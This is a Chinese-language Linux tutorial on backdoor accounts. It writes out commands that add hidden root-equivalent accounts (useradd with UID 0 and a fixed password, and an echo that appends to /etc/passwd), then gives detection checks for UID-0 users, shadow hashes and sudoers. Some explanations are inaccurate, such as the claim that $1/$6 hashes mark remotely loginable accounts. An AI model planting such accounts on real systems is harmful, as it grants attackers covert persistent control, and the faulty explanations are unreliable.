后门账号从入门到应急响应
目录
1. 后门与后门账号的介绍
1.1 后门介绍
1.2 后门账号介绍
2. 后门账号添加
方式一:
方式二:
方式三(添加账户):
添加普通用户:
添加root用户:
3.排查可疑账号
1. 后门与后门账号的介绍
1.1 后门介绍
指的是绕过正常认证安全控制,获取对系统或程序的未授权访问的方法。后门可以是软件中的一个隐藏功能,也可以是硬件上的特殊接口。它们通常被黑客用来非法访问系统,或者在某些情况下,软件开发者可能会在软件中预留后门以便调试和维护.
1.2 后门账号介绍
后门账号通常是指未经授权创建的账户,用于绕过正常的安全措施,以便攻击者可以秘密访问系统。通过将账号设置为具有高权限,root权限,使得攻击者能够执行各种操作,包括窃取数据、安装恶意软件或进行破坏。后门账号的存在对任何系统的安全构成严重威胁.
2. 后门账号添加
一句话添加用户和密码
方式一:
###添加root用户:
#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1# useradd:用于创建新用户的命令。
# test1:新用户的用户名(后门用户名)。 123456 是明文密码。-p:设置用户密码的选项。这里使用 openssl 命令生成加密密码。
openssl passwd -1 -salt 'salt' 123456:生成加密密码的命令,其中 salt 是一个随机字符串,用于加盐密码哈希,123456 是明文密码。
-o:允许创建具有唯一 UID 的用户,即使它与系统中现有的用户 UID 冲突。
-u 0:将用户的 UID 设置为 0,这通常是 root 用户的 UID。
-g root:将用户添加到 root 组。
-G root:将用户添加到 root 组(如果 -G 后面没有组名,则默认添加到用户自己的组)。
-s /bin/bash:指定用户的登录 shell。
-d /home/test1:指定用户的主目录。
方式二:
echo "ruoji:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd ruoji #修改xiaodi的密码为ruoji定义了用户名 ruoji,加密密码(x 表示密码是加密的,实际密码需要设置),UID 0(root 用户的 UID),组 ID 0(root 组的 GID),主目录 /,以及登录 shell /bin/sh。
passwd ruoji:为新创建的用户 ruoji 设置密码。
方式三(添加账户):
添加普通用户:
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
添加root用户:
这个跟上面的方式一是一致的
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
3.排查可疑账号
# 查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd# 命令详细解析awk:是一个文本处理工具,用于处理和分析文本文件。
-F::设置字段分隔符为冒号(:),因为/etc/passwd文件中的记录是以冒号分隔的。
'$3==0{print $1}':这是一个awk的动作,意思是如果第三个字段(用户ID,即UID)等于0,则打印第一个字段(用户名)。
/etc/passwd:这是Linux系统中存储用户账户信息的文件。# 命令会列出所有UID为0的用户,通常UID为0的用户是系统管理员(root)。# 查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow# 命令详细解析/etc/shadow:这是Linux系统中存储用户密码信息的文件,比/etc/passwd更安全,因为它包含了加密的密码。
/\$1|\$6/:这个正则表达式匹配密码字段中包含$1或$6的行。$1和$6是PAM模块(Pluggable Authentication Modules)的算法标识,用于密码加密。如果密码字段包含这些,通常意味着密码是加密的,并且用户可以进行远程登录。
{print $1}:打印匹配行的第一个字段(用户名)。# 命令会列出所有密码字段包含$1或$6的用户,这些是可以远程登录的用户。# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"# 命令详细解析
more /etc/sudoers:more是一个分页程序,用于逐页显示文件内容。这里用于显示/etc/sudoers文件,该文件定义了哪些用户和组可以执行哪些命令。
grep -v "^#\|^$":grep是一个文本搜索工具,-v选项表示反向匹配,即不显示匹配的行。"^#\|^$"是一个正则表达式,匹配以#开始的注释行或空行。
grep "ALL=(ALL)":再次使用grep搜索包含ALL=(ALL)的行,这通常表示用户或组被授予了所有权限。# 命令组合会列出/etc/sudoers文件中所有授予ALL=(ALL)权限的行,但排除了注释和空行。